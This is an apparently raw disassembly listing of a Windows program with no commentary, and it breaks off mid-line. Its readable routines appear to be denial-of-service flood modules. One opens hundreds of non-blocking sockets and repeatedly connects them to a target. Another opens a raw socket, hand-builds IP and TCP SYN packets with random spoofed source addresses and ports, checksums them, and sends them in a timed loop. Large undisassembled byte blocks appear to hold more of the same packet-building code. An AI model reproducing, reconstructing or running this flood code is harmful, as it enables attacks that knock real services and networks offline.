sub_41B8E2 cdq mov ecx, 200h push edi idiv ecx push ebx push dword ptr [esp+2Ch] lea eax, [edx+esi+100h] push eax push esi call sub_412B08 add esp, 20h test eax, eax jnz short loc_412E8E push 1 pop eax loc_412E8E: ; CODE XREF: ___:00412E89j cdq mov ecx, 3E8h idiv ecx cdq idiv edi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- byte_412E9D db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+6721o dd 3BCEC81h, 56530000h, 5708458Bh, 0F08B686Ah, 44BD8D59h dd 6AFFFFFEh, 0FF685B01h, 6A000000h, 6AA5F303h, 9C988902h dd 0FF000001h, 4CAFF415h, 0FFF88300h, 75FC4589h, 815FF5Fh dd 50004CAFh, 0FC44858Dh, 1C68FFFFh, 5000435Ch, 8995E8h dd 83FF3300h, 7D390CC4h, 572075DCh, 0FC44858Dh, 75FFFFFFh dd 858D50D8h, 0FFFFFF48h, 44B5FF50h, 0E8FFFFFEh, 0FFFF6B5Ah dd 8D14C483h, 0FFFC4485h, 85E850FFh, 0FF000022h, 0E3E8C875h dd 59FFFF84h, 0E8905759h, 22BD0C8h, 6AF44D8Dh, 0FF335104h dd 5057026Ah, 0FFF45D89h, 4CAF5415h db 0, 83h word_412F4E dw 0FFF8h ; DATA XREF: ___:off_43A184o dd 15FF5D75h, 4CAF08h, 44858D50h, 68FFFFFCh, 435BECh, 891CE850h dd 0C4830000h, 0DC7D390Ch, 8D572075h, 0FFFC4485h, 0D875FFFFh dd 48858D50h, 50FFFFFFh, 0FE44B5FFh, 0E3E8FFFFh, 83FFFF6Ah dd 858D14C4h, 0FFFFFC44h, 220EE850h, 75FF0000h, 846CE8C8h dd 5959FFFFh, 0D052E857h, 8D90022Bh, 0FFFE4885h, 15FF50FFh dd 4CAFB4h, 75FFF883h, 44858D55h, 68FFFFFCh, 435BCCh, 88B4E850h dd 7D390000h, 755959DCh, 858D5720h, 0FFFFFC44h, 50D875FFh dd 0FF48858Dh, 0FF50FFFFh, 0FFFE44B5h, 6A7CE8FFh, 0C483FFFFh dd 44858D14h, 50FFFFFCh, 21A7E8h, 0C875FF00h, 0FF8405E8h dd 575959FFh, 2BCFEBE8h, 106A9002h, 57E4458Dh, 856EE850h dd 0C4830000h, 45C7660Ch, 570002E4h, 0AF7415FFh, 8966004Ch dd 858DE645h, 0FFFFFE48h, 0B415FF50h, 8B004CAFh, 4270A835h dd 0E8458900h, 0FF087D89h, 0F84589D6h, 452BD6FFh, 0B9D233F8h dd 3E8h, 453BF1F7h, 94870FD0h, 68000001h, 41Ch, 0DCE805C6h dd 0FF45004Ch, 4CAF7415h, 0D47D3900h, 0DCEAA366h, 8966004Ch dd 4CDCEC1Dh, 3D896600h, 4CDCEEh, 0DCF005C6h, 8880004Ch dd 4CDCF11Dh, 3D896600h, 4CDCF2h, 33E83074h, 8B000088h dd 8E3C1D8h, 8829E8h, 0C1D80300h, 1FE808E3h, 3000088h dd 8E3C1D8h, 8815E8h, 6AD80300h, 0F41D8901h, 5B004CDCh dd 0B5FF18EBh, 0FFFFFE44h, 0FF7B2AE8h, 0FF5059FFh, 4CAFB415h dd 0DCF4A300h, 458B004Ch, 0DCF8A3E8h, 0E3E8004Ch, 99000087h dd 100B9h, 88F9F700h, 4CDCFC15h, 87D0E800h, 0B9990000h dd 100h, 1588F9F7h, 4CDCFDh, 87BDE8h, 0F0B99900h, 68000000h dd 400h, 8966F9F7h, 4CDCFE3Dh, 1D896600h, 4CDD02h, 15896642h dd 4CDD00h, 8795E8h, 0FFB99900h, 0F7000000h, 46852F9h dd 0E8004CDDh, 8430h, 8D0CC483h, 106AE445h, 1C685750h dd 68000004h, 4CDCE8h, 0FFFC75FFh, 4CAFD815h, 0FFF88300h dd 45FF0874h, 0FECAE908h, 75FFFFFFh, 0C15FFFCh, 0FF004CB0h dd 4CAF0815h, 858D5000h, 0FFFFFE48h, 500875FFh, 435B8468h dd 44858D00h, 68FFFFFCh, 200h, 87C6E850h, 0C4830000h, 0DC7D3918h dd 8D572075h, 0FFFC4485h, 0D875FFFFh, 48858D50h, 50FFFFFFh dd 0FE44B5FFh, 93E8FFFFh, 83FFFF68h, 858D14C4h, 0FFFFFC44h dd 1FBEE850h, 75FF0000h, 821CE8C8h, 5959FFFFh, 1E89057h dd 0FF022BCEh, 15FFFC75h, 4CB00Ch, 3308458Bh, 3CC06BD2h dd 0E8C1C88Bh, 0D075F70Ah, 5114E9C1h, 48858D50h, 0FFFFFFFEh dd 8D500875h, 0FFFEC885h, 858D50FFh, 0FFFFFC44h, 435B3868h dd 47E85000h, 83000086h, 7D391CC4h, 572075DCh, 0FC44858Dh dd 75FFFFFFh, 858D50D8h, 0FFFFFF48h, 44B5FF50h, 0E8FFFFFEh dd 0FFFF680Eh, 8D14C483h, 0FFFC4485h, 39E850FFh, 0FF00001Fh dd 97E8C875h, 59FFFF81h, 0E8905759h, 22BCD7Ch dword_413284 dd 0B8EC8B55h, 10320h, 888FE8h, 8458B00h, 6A575653h, 59F08B49h ; DATA XREF: sub_401ACD+550Fo dd 0FEBCBD8Dh, 0A5F3FFFFh, 895F016Ah, 120B8h, 0FC15FF00h dd 89004CAEh, 858D0845h, 0FFFFFF40h, 0B415FF50h, 8B004CAFh dd 33DB33F0h, 0FFFE83C0h, 858D1175h, 0FFFFFF40h, 0F815FF50h dd 3B004CAFh, 830674C3h, 75FF087Dh, 40858D5Dh, 50FFFFFFh dd 0FCBC858Dh, 7468FFFFh, 5000435Ch, 8589E8h, 0CC48300h dd 75D85D39h, 858D5320h, 0FFFFFCBCh, 50D475FFh, 0FEC0858Dh dd 0FF50FFFFh, 0FFFEBCB5h, 6750E8FFh, 0C483FFFFh, 0BC858D14h dd 50FFFFFCh, 1E7BE8h, 0D075FF00h, 0FF80D9E8h, 575959FFh dd 2BCCBFE8h, 0C33B9002h, 408B0C74h, 8B008B0Ch, 0FC458900h dd 758903EBh, 8D1C6AFCh, 5053E045h, 822FE8h, 0E84D8300h dd 0FFDCB8FFh, 0C4830000h, 0C445390Ch, 4589037Eh, 0C87D39C4h dd 7D89037Dh, 39F633C8h, 267EC05Dh, 8DC875FFh, 1C6AE045h dd 858D5350h, 0FFFEFCE0h, 50C475FFh, 0FFFC75FFh, 15FF0875h dd 4CAE8Ch, 0C0753B46h, 75FFDA7Ch, 2C15FF08h, 8D004CB0h dd 0FFFF4085h, 858D50FFh, 0FFFFFCBCh, 435C4868h, 0BBE85000h dd 83000084h, 5D390CC4h, 532075D8h, 0FCBC858Dh, 75FFFFFFh dd 858D50D4h, 0FFFFFEC0h, 0BCB5FF50h, 0E8FFFFFEh, 0FFFF6682h dd 8D14C483h, 0FFFCBC85h, 0ADE850FFh, 0FF00001Dh, 0BE8D075h dd 59FFFF80h, 0E8905359h, 22BCBF0h dword_413410 dd 0B8EC8B55h, 10310h, 8703E8h, 8458B00h, 6A575653h, 59F08B49h ; DATA XREF: sub_401ACD+575Bo dd 0FECCBD8Dh, 0A5F3FFFFh, 895E016Ah, 120B0h, 0D4B1E800h dd 50900226h, 8493E8h, 116A5900h, 26A026Ah, 0AFF415FFh dd 0D88B004Ch, 106AFF33h, 57F0458Dh, 812EE850h, 0C4830000h dd 50858D0Ch, 66FFFFFFh, 2F045C7h, 15FF5000h, 4CAFB4h dd 89FFF883h, 75750845h, 0FF50858Dh, 0FF50FFFFh, 4CAFF815h dd 75C73B00h, 50858D5Dh, 50FFFFFFh, 0FCCC858Dh, 0C868FFFFh dd 5000435Ch, 83DDE8h, 0CC48300h, 75E87D39h, 858D5720h dd 0FFFFFCCCh, 50E475FFh, 0FED0858Dh, 0FF50FFFFh, 0FFFECCB5h dd 65A4E8FFh, 0C483FFFFh, 0CC858D14h, 50FFFFFCh, 1CCFE8h dd 0E075FF00h, 0FF7F2DE8h, 565959FFh, 0CB12E890h, 408B022Bh dd 0EB008B0Ch, 8458D03h, 7D39008Bh, 0F44589DCh, 0DBE81175h dd 99000083h, 0FFDCB9h, 42F9F700h, 0FF03EB52h, 15FFDC75h dd 4CAF74h, 66DC7539h, 7DF24589h, 0DC758903h, 0FFFFB8h dd 0DC453900h, 4589037Eh, 0D0458BDCh, 59990A6Ah, 7D39F9F7h dd 0D04589D8h, 75890375h, 39F633D8h, 1A7ED47Dh, 838DE8h dd 0FFB99900h, 0F7000000h, 753B46F9h, 359488D4h, 0FFFEFCEFh dd 458BE67Ch, 0D04DFFD0h, 557EC085h, 8D5E0B6Ah, 106AF045h dd 5FE85750h, 6A000083h, 0F759990Ah, 0D4458BF9h, 8D50C22Bh dd 0FEFCF085h, 0FF5350FFh, 4CAFD815h, 0D875FF00h, 0CA5AE890h dd 754E0225h, 0DC7D39CEh, 2FE8BC75h, 99000083h, 0FFDCB9h dd 42F9F700h, 7415FF52h, 66004CAFh, 0EBF24589h, 50858DA1h dd 50FFFFFFh, 0FCCC858Dh, 9C68FFFFh, 5000435Ch, 82A5E8h dd 0CC48300h, 75E87D39h, 858D5720h, 0FFFFFCCCh, 50E475FFh dd 0FED0858Dh, 0FF50FFFFh, 0FFFECCB5h, 646CE8FFh, 0C483FFFFh dd 0CC858D14h, 50FFFFFCh, 1B97E8h, 0E075FF00h, 0FF7DF5E8h dd 575959FFh, 0C9DAE890h db 2Bh, 2 word_413626 dw 8B55h ; DATA XREF: sub_401ACD+4DECo dd 14EC81ECh, 8B000004h, 57560845h, 85B9h, 8DF08B00h, 0FFFDECBDh dd 0C7A5F3FFh, 21080h, 100h, 0F0858D00h, 50FFFFFEh, 0FE70858Dh dd 8D50FFFFh, 0FFFDF085h, 20E850FFh, 83000001h, 8D500CC4h dd 0FFFBEC85h, 5CF068FFh, 0E8500043h, 820Ah, 0C483F633h dd 0F875390Ch, 8D562075h, 0FFFBEC85h, 0F475FFFFh, 70858D50h dd 50FFFFFFh, 0FDECB5FFh, 0CFE8FFFFh, 83FFFF63h, 858D14C4h dd 0FFFFFBECh, 1AFAE850h, 75FF0000h, 7D58E8F0h, 5959FFFFh dd 0C93EE856h, 5F90022Bh ; --------------------------------------------------------------------------- pop esi ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4136C5 proc near ; CODE XREF: ___:004137AEp var_654 = byte ptr -654h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 654h push 10h lea eax, [ebp+var_14] push 0 push eax call sub_41B590 add esp, 0Ch mov [ebp+var_14], 2 push [ebp+arg_4] call dword_4CAF74 mov [ebp+var_12], ax mov eax, [ebp+arg_0] mov [ebp+var_10], eax mov eax, [ebp+arg_8] test eax, eax mov [ebp+var_4], 1 jle short loc_413783 push ebx push esi push edi mov [ebp+arg_4], eax mov edi, 190h loc_413710: ; CODE XREF: sub_4136C5+B9j lea esi, [ebp+var_654] mov ebx, edi loc_413718: ; CODE XREF: sub_4136C5+7Aj push 0 push 1 push 2 nop call near ptr 71AB3C22h cmp eax, 0FFFFFFFFh mov [esi], eax jz short loc_41373B lea ecx, [ebp+var_4] push ecx push 8004667Eh push eax call near ptr 71AB155Ah nop loc_41373B: ; CODE XREF: sub_4136C5+64j add esi, 4 dec ebx jnz short loc_413718 lea esi, [ebp+var_654] mov ebx, edi loc_413749: ; CODE XREF: sub_4136C5+96j lea eax, [ebp+var_14] push 10h push eax push dword ptr [esi] nop call near ptr 71AB3E5Dh add esi, 4 dec ebx jnz short loc_413749 push 64h call near ptr 2670000h nop lea esi, [ebp+var_654] mov ebx, edi loc_41376D: ; CODE XREF: sub_4136C5+B4j push dword ptr [esi] nop call near ptr 71AB1A6Dh add esi, 4 dec ebx jnz short loc_41376D dec [ebp+arg_4] jnz short loc_413710 pop edi pop esi pop ebx loc_413783: ; CODE XREF: sub_4136C5+3Ej xor eax, eax leave retn sub_4136C5 endp ; --------------------------------------------------------------------------- push ebx push esi push edi push dword ptr [esp+10h] call sub_40AAF9 push dword ptr [esp+18h] mov edi, eax call sub_41B779 push dword ptr [esp+20h] mov ebx, eax call sub_41B779 mov esi, eax push esi push ebx push edi call sub_4136C5 add esp, 18h test eax, eax jnz short loc_4137BD push 1 pop eax loc_4137BD: ; CODE XREF: ___:004137B8j cdq mov ecx, 3E8h pop edi idiv ecx cdq idiv esi pop esi pop ebx retn ; --------------------------------------------------------------------------- dword_4137CC dd 81EC8B55h, 414ECh, 8458B00h, 85B95756h, 8B000000h, 0ECBD8DF0h ; DATA XREF: sub_401ACD+6449o dd 0F3FFFFFDh, 1080C7A5h, 1000002h, 8D000000h, 0FFFEF085h dd 858D50FFh, 0FFFFFE70h, 0F0858D50h, 50FFFFFDh, 310E8h dd 0CC48300h, 0EC858D50h, 68FFFFFBh, 435D1Ch, 8064E850h dd 0F6330000h, 390CC483h, 2075F875h, 0EC858D56h, 0FFFFFFFBh dd 8D50F475h, 0FFFF7085h, 0B5FF50FFh, 0FFFFFDECh, 0FF6229E8h dd 14C483FFh, 0FBEC858Dh, 0E850FFFFh, 1954h, 0E8F075FFh dd 0FFFF7BB2h, 90565959h, 2BC797E8h ; --------------------------------------------------------------------------- add bl, [edi+5Eh] ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41386B proc near ; CODE XREF: ___:00413B59p var_284 = byte ptr -284h var_F4 = byte ptr -0F4h var_B4 = byte ptr -0B4h var_B3 = byte ptr -0B3h var_A0 = byte ptr -0A0h var_94 = byte ptr -94h var_8C = byte ptr -8Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = byte ptr -70h var_6F = byte ptr -6Fh var_6E = word ptr -6Eh var_58 = dword ptr -58h var_50 = word ptr -50h var_4E = word ptr -4Eh var_4C = dword ptr -4Ch var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = word ptr -34h var_32 = word ptr -32h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = byte ptr -28h var_27 = byte ptr -27h var_26 = word ptr -26h var_24 = word ptr -24h var_22 = word ptr -22h var_20 = byte ptr -20h var_1E = word ptr -1Eh var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = word ptr -16h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 284h push ebx push edi push 0Eh xor ebx, ebx pop ecx xor eax, eax lea edi, [ebp+var_B3] mov [ebp+var_B4], bl rep stosd stosw stosb lea eax, [ebp+var_284] push eax push 202h call dword_4CAEE4 test eax, eax jz short loc_4138AB xor eax, eax jmp loc_413B19 ; --------------------------------------------------------------------------- loc_4138AB: ; CODE XREF: sub_41386B+37j push 1 pop edi push edi push ebx push ebx push 0FFh push 3 push 2 call dword_4CB018 cmp eax, 0FFFFFFFFh mov [ebp+var_C], eax jz loc_413B11 push esi lea ecx, [ebp+var_38] push 4 push ecx push 2 push ebx push eax mov [ebp+var_38], edi call dword_4CAF54 cmp eax, 0FFFFFFFFh jz loc_413B07 push 10h lea eax, [ebp+var_50] push ebx push eax call sub_41B590 add esp, 0Ch mov [ebp+var_50], 2 push [ebp+arg_8] call dword_4CAF74 mov esi, [ebp+arg_0] push 28h mov [ebp+var_4E], ax mov [ebp+var_4C], esi mov [ebp+var_20], 45h call dword_4CAF74 push [ebp+arg_8] mov [ebp+var_1E], ax mov [ebp+var_1C], di mov [ebp+var_1A], bx mov [ebp+var_18], 80h mov [ebp+var_17], 6 mov [ebp+var_16], bx mov [ebp+var_10], esi call dword_4CAF74 push 4000h mov [ebp+var_32], ax mov [ebp+var_2C], ebx mov [ebp+var_28], 50h mov [ebp+var_27], 2 call dword_4CAF74 mov [ebp+var_26], ax lea eax, [ebp+var_40] push eax mov [ebp+var_22], bx mov [ebp+arg_8], ebx nop call near ptr 2780353h lea eax, [ebp+var_8] push eax nop call near ptr 2780000h push [ebp+var_3C] mov eax, [ebp+arg_C] cdq push [ebp+var_40] push edx push eax call sub_41D280 add eax, [ebp+var_8] mov esi, edx adc esi, [ebp+var_4] mov [ebp+var_58], eax loc_413996: ; CODE XREF: sub_41386B+25Dj ; sub_41386B+26Bj mov [ebp+var_24], bx call sub_41B8E2 cdq mov ecx, 3E9h idiv ecx add edx, 3E8h push edx call dword_4CAF74 mov [ebp+var_34], ax call sub_41B8E2 mov edi, eax shl edi, 10h call sub_41B8E2 or edi, eax push edi call dword_4CAF74 movzx eax, ax mov [ebp+var_30], eax mov eax, [ebp+arg_4] inc [ebp+arg_4] push eax call dword_4CAF70 push 14h mov [ebp+var_14], eax mov eax, [ebp+var_10] pop edi push edi mov [ebp+var_74], eax mov [ebp+var_70], bl mov [ebp+var_6F], 6 call dword_4CAF74 mov [ebp+var_6E], ax mov eax, [ebp+var_14] mov [ebp+var_78], eax lea eax, [ebp+var_78] push 20h push eax lea eax, [ebp+var_B4] push eax call sub_41C310 lea eax, [ebp+var_34] push edi push eax lea eax, [ebp+var_94] push eax call sub_41C310 lea eax, [ebp+var_B4] push 34h push eax call sub_40AC68 mov [ebp+var_24], ax lea eax, [ebp+var_20] push edi push eax lea eax, [ebp+var_B4] push eax call sub_41C310 lea eax, [ebp+var_34] push edi push eax lea eax, [ebp+var_A0] push eax call sub_41C310 push 4 lea eax, [ebp+var_8C] push ebx push eax call sub_41B590 add esp, 44h lea eax, [ebp+var_B4] push 28h push eax call sub_40AC68 mov [ebp+var_16], ax lea eax, [ebp+var_20] push edi push eax lea eax, [ebp+var_B4] push eax call sub_41C310 add esp, 14h lea eax, [ebp+var_50] push 10h push eax push ebx lea eax, [ebp+var_B4] push 28h push eax push [ebp+var_C] call dword_4CAFD8 cmp eax, 0FFFFFFFFh jz short loc_413ADB add [ebp+arg_8], eax lea eax, [ebp+var_8] push eax nop call near ptr 2780000h mov eax, [ebp+var_4] cmp eax, esi jg short loc_413B04 jl loc_413996 mov eax, [ebp+var_8] cmp eax, [ebp+var_58] jnb short loc_413B04 jmp loc_413996 ; --------------------------------------------------------------------------- loc_413ADB: ; CODE XREF: sub_41386B+247j call dword_4CAF08 push eax lea eax, [ebp+var_F4] push offset dword_435D44 push eax call sub_41B886 lea eax, [ebp+var_F4] push eax call sub_4151AC add esp, 10h jmp short loc_413B07 ; --------------------------------------------------------------------------- loc_413B04: ; CODE XREF: sub_41386B+25Bj ; sub_41386B+269j mov ebx, [ebp+arg_8] loc_413B07: ; CODE XREF: sub_41386B+78j ; sub_41386B+297j push [ebp+var_C] call dword_4CB00C pop esi loc_413B11: ; CODE XREF: sub_41386B+5Bj call dword_4CAECC mov eax, ebx loc_413B19: ; CODE XREF: sub_41386B+3Bj pop edi pop ebx leave retn sub_41386B endp ; --------------------------------------------------------------------------- push ebx push esi push edi push dword ptr [esp+10h] call sub_40AAF9 push dword ptr [esp+18h] mov esi, eax call sub_41B779 push dword ptr [esp+20h] mov ebx, eax call sub_41B779 mov edi, eax call sub_41B8E2 cdq mov ecx, 200h push edi idiv ecx push ebx lea eax, [edx+esi+100h] push eax push esi call sub_41386B add esp, 1Ch test eax, eax jnz short loc_413B68 push 1 pop eax loc_413B68: ; CODE XREF: ___:00413B63j cdq mov ecx, 3E8h idiv ecx cdq idiv edi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- byte_413B77 db 55h ; DATA XREF: sub_401ACD+6E44o dd 0EC81EC8Bh, 394h, 5608458Bh, 59656A57h, 0BD8DF08Bh dd 0FFFFFE6Ch, 80C7A5F3h, 190h, 1, 0FEF0858Dh, 0E850FFFFh dd 7BD1h, 858D5059h, 0FFFFFE70h, 0B415FF50h, 50004CAFh dd 5DE8h, 50595900h, 0FC6C858Dh, 6468FFFFh, 5000435Dh dd 7CB5E8h, 83F63300h, 75390CC4h, 562075F8h, 0FC6C858Dh dd 75FFFFFFh, 858D50F4h, 0FFFFFF70h, 6CB5FF50h, 0E8FFFFFEh dd 0FFFF5E7Ah, 8D14C483h, 0FFFC6C85h, 0A5E850FFh, 0FF000015h dd 3E8F075h, 59FFFF78h, 0E8905659h, 22BC3E8h, 8B555E5Fh dd 98EC81ECh, 53000000h, 16A5756h, 78A58359h, 0FFFFFFh dd 6583046Ah, 0BB5E00A8h, 0FFh, 0C033066Ah, 0AC7D8D5Ah dd 0FF7C8D89h, 45C7FFFFh, 280h, 84758900h, 0C7885589h dd 88C45h, 45C70000h, 0C90h, 9445C700h, 11h, 169845C7h dd 0C7000000h, 299C45h, 45C70000h, 3AA0h, 0A45D8900h, 0ABB04589h dd 89D47D8Dh, 4589B445h, 0BC45C7B8h, 2000h, 89C07589h dd 45C7C455h, 3FFFC8h, 0CC4D8900h, 89D04589h, 0BFABD84Dh dd 100h, 930BE857h, 89590000h, 5057FC45h, 0AF8815FFh, 75FF004Ch dd 0F815FFFCh, 8B004CAFh, 6A530C40h, 8B026A03h, 89008B00h dd 15FFF445h, 4CAFF4h, 56D84D8Dh, 6A026A51h, 45895000h dd 5415FFFCh, 0BE004CAFh, 200h, 77D3E856h, 3D8B0000h, 4270A8h dd 0F8458959h, 4589D7FFh, 8458BF0h, 29A68h, 6C858900h dd 66FFFFFFh, 0FF6885C7h, 2FFFFh, 0AF7415FFh, 8966004Ch dd 0FFFF6A85h, 2BD7FFFFh, 0D233F045h, 3E8B9h, 3BF1F700h dd 870F0C45h, 0CFh, 7B91E8h, 0CB8B9900h, 458BF9F7h, 0FFFF25F4h dd 0E2C100FFh, 89D00B18h, 77E8F455h, 9900007Bh, 0F9F7CB8Bh dd 0E8AC5589h, 7B6Ah, 1FA4B999h, 45C60000h, 0F9F745DCh dd 4DD45C6h, 0E8D45589h, 7B52h, 0E0458966h, 7B49E8h, 990A6A00h dd 66F9F759h, 0B095448Bh, 7415FF50h, 56004CAFh, 0E2458966h dd 0AF7415FFh, 8966004Ch, 5D88DE45h, 7B20E8E4h, 0E6A0000h dd 0F9F75999h, 848A146Ah, 0FFFF7895h, 0E54588FFh, 89F4458Bh dd 458BE845h, 0EC458908h, 50DC458Dh, 0FF6E7FE8h, 458966FFh dd 0DC458DE6h, 0FF50146Ah, 15E8F875h, 83000085h, 858D14C4h dd 0FFFFFF68h, 6A50106Ah, 75FF5600h, 0FC75FFF8h, 0AFD815FFh dd 1AE9004Ch, 0FFFFFFFFh, 8EE8F875h, 59000072h, 0FFFC75FFh dd 4CB00C15h, 58016A00h, 0C95B5E5Fh ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- byte_413E35 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+53E8o dd 440EC81h, 458B0000h, 57565308h, 0F08B686Ah, 0C0BD8D59h dd 0F3FFFFFDh, 33016AA5h, 0BD8D5EDBh, 0FFFFFF61h, 0B0890E6Ah dd 19Ch, 88C03359h, 0FFFF609Dh, 66ABF3FFh, 3D8BAAABh, 4270A8h dd 0E850D7FFh, 7A58h, 0FF6859h, 36A0000h, 15FF026Ah, 4CAFF4h dd 89FFF883h, 6675FC45h, 0AF0815FFh, 8D50004Ch, 0FFFBC085h dd 5E7C68FFh, 0E8500043h, 79D6h, 390CC483h, 0FFFF589Dh dd 532375FFh, 0FBC0858Dh, 0B5FFFFFFh, 0FFFFFF54h, 0C4858D50h dd 50FFFFFEh, 0FDC0B5FFh, 97E8FFFFh, 83FFFF5Bh, 858D14C4h dd 0FFFFFBC0h, 12C2E850h, 0B5FF0000h, 0FFFFFF44h, 0FF751DE8h dd 535959FFh, 0C102E890h, 4D8D022Bh, 51046ACCh, 5053026Ah dd 0FFCC7589h, 4CAF5415h, 0FFF88300h, 15FF6675h, 4CAF08h dd 0C0858D50h, 68FFFFFBh, 435E44h, 7958E850h, 0C4830000h dd 589D390Ch, 75FFFFFFh, 858D5323h, 0FFFFFBC0h, 0FF54B5FFh dd 8D50FFFFh, 0FFFEC485h, 0B5FF50FFh, 0FFFFFDC0h, 0FF5B19E8h dd 14C483FFh, 0FBC0858Dh, 0E850FFFFh, 1244h, 0FF44B5FFh dd 9FE8FFFFh, 59FFFF74h, 0E8905359h, 22BC084h, 0FDC4858Dh dd 0FF50FFFFh, 4CAFB415h, 0FFF88300h, 858D5E75h, 0FFFFFBC0h dd 435E2468h, 0E7E85000h, 39000078h, 0FFFF589Dh, 755959FFh dd 858D5323h, 0FFFFFBC0h, 0FF54B5FFh, 8D50FFFFh, 0FFFEC485h dd 0B5FF50FFh, 0FFFFFDC0h, 0FF5AA9E8h, 14C483FFh, 0FBC0858Dh dd 0E850FFFFh, 11D4h, 0FF44B5FFh, 2FE8FFFFh, 59FFFF74h dd 0E8905359h, 22BC014h, 458D106Ah, 0E85053BCh, 7598h dd 660CC483h, 2BC45C7h, 15FF5300h, 4CAF74h, 0BE458966h dd 0FDC4858Dh, 0FF50FFFFh, 4CAFB415h, 0C0458900h, 0FF085D89h dd 0D04589D7h, 452BD7FFh, 0B9D233D0h, 3E8h, 853BF1F7h dd 0FFFFFF4Ch, 2AA870Fh, 286A0000h, 45D445C6h, 0AF7415FFh dd 9D39004Ch, 0FFFFFF50h, 0D6458966h, 0D8758966h, 0DA5D8966h dd 80DC45C6h, 6DD45C6h, 0DE5D8966h, 73E82D74h, 8B000078h dd 8E6C1F0h, 7869E8h, 0C1F00300h, 5FE808E6h, 3000078h dd 8E6C1F0h, 7855E8h, 6AF00300h, 0E0758901h, 0FF16EB5Eh dd 0FFFDC0B5h, 6B6DE8FFh, 5059FFFFh, 0AFB415FFh, 4589004Ch dd 0C0458BE0h, 0FF489D39h, 4589FFFFh, 0E81075E4h, 7822h dd 401B999h, 0F9F70000h, 0FF06EB52h, 0FFFF48B5h, 7415FFFFh dd 66004CAFh, 0E8EA4589h, 7802h, 401B999h, 0F9F70000h dd 7415FF52h, 68004CAFh, 12345678h, 0E8458966h, 0AF7015FFh dd 4589004Ch, 44858DECh, 68FFFFFEh, 42AB7Ch, 77EEE850h dd 85590000h, 97459C0h, 0C6F05D89h, 0EB02F545h, 44858D5Ch dd 68FFFFFEh, 42A9B8h, 77CEE850h, 85590000h, 97459C0h dd 0C6F05D89h, 0EB10F545h, 44858D3Ch, 68FFFFFEh, 42A9B0h dd 77AEE850h, 85590000h, 257459C0h, 7785E8h, 99036A00h dd 89F9F759h, 77E8F055h, 6A000077h, 0F7599902h, 1ADAF7F9h dd 0EE280D2h, 5588D102h, 20068F5h, 45C60000h, 15FF50F4h dd 4CAF74h, 0F6458966h, 89E0458Bh, 458B9C45h, 66146AE4h dd 66FA5D89h, 89F85D89h, 5D88A045h, 0A545C6A4h, 7415FF06h dd 66004CAFh, 8DA64589h, 206A9C45h, 60858D50h, 50FFFFFFh dd 8147E8h, 0E8458D00h, 8D50146Ah, 0E8508045h, 8138h, 0FF60858Dh dd 346AFFFFh, 6A82E850h, 8966FFFFh, 458DF845h, 50146AD4h dd 0FF60858Dh, 0E850FFFFh, 8114h, 6AE8458Dh, 858D5014h dd 0FFFFFF74h, 8102E850h, 46A0000h, 5388458Dh, 7376E850h dd 0C4830000h, 60858D44h, 6AFFFFFFh, 3DE85028h, 66FFFF6Ah dd 8DDE4589h, 146AD445h, 60858D50h, 50FFFFFFh, 80CFE8h dd 14C48300h, 6ABC458Dh, 8D535010h, 0FFFF6085h, 503C6AFFh dd 0FFFC75FFh, 4CAFD815h, 0FFF88300h, 45FF0874h, 0FDBAE908h dd 75FFFFFFh, 0C15FFFCh, 0FF004CB0h, 4CAF0815h, 858D5000h dd 0FFFFFDC4h, 500875FFh, 435DD468h, 0C0858D00h, 68FFFFFBh dd 200h, 76E6E850h, 0C4830000h, 589D3918h, 75FFFFFFh, 858D5323h dd 0FFFFFBC0h, 0FF54B5FFh, 8D50FFFFh, 0FFFEC485h, 0B5FF50FFh dd 0FFFFFDC0h, 0FF57ADE8h, 14C483FFh, 0FBC0858Dh, 0E850FFFFh dd 0ED8h, 0FF44B5FFh, 33E8FFFFh, 59FFFF71h, 0E8905359h dd 22BBD18h, 0FFFC75FFh, 4CB00C15h, 8458B00h, 0C06BD233h dd 0C1C88B3Ch, 0B5F70AE8h, 0FFFFFF4Ch, 5114E9C1h, 0C4858D50h dd 0FFFFFFFDh, 8D500875h, 0FFFE4485h, 858D50FFh, 0FFFFFBC0h dd 435D8468h, 5BE85000h, 83000075h, 9D391CC4h, 0FFFFFF58h dd 8D532375h, 0FFFBC085h, 54B5FFFFh, 50FFFFFFh, 0FEC4858Dh dd 0FF50FFFFh, 0FFFDC0B5h, 571CE8FFh, 0C483FFFFh, 0C0858D14h dd 50FFFFFBh, 0E47E8h, 44B5FF00h, 0E8FFFFFFh, 0FFFF70A2h dd 90535959h, 2BBC87E8h db 2 ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, [ebp+0Ch] mov edx, [ebp+8] push esi xor esi, esi cmp eax, 1 mov [ebp+0Ch], esi jle short loc_4143A5 mov ecx, eax push edi shr ecx, 1 lea edi, [ecx+ecx] sub eax, edi loc_414397: ; CODE XREF: ___:0041439Fj movzx edi, word ptr [edx] add esi, edi inc edx inc edx dec ecx jnz short loc_414397 pop edi cmp eax, 1 loc_4143A5: ; CODE XREF: ___:0041438Bj jnz short loc_4143B2 mov al, [edx] mov [ebp+0Ch], al movzx eax, word ptr [ebp+0Ch] add esi, eax loc_4143B2: ; CODE XREF: ___:loc_4143A5j mov ecx, esi and esi, 0FFFFh sar ecx, 10h add ecx, esi pop esi mov eax, ecx sar eax, 10h add eax, ecx not eax pop ebp retn ; --------------------------------------------------------------------------- byte_4143CB db 55h ; DATA XREF: sub_401ACD+6D49o dd 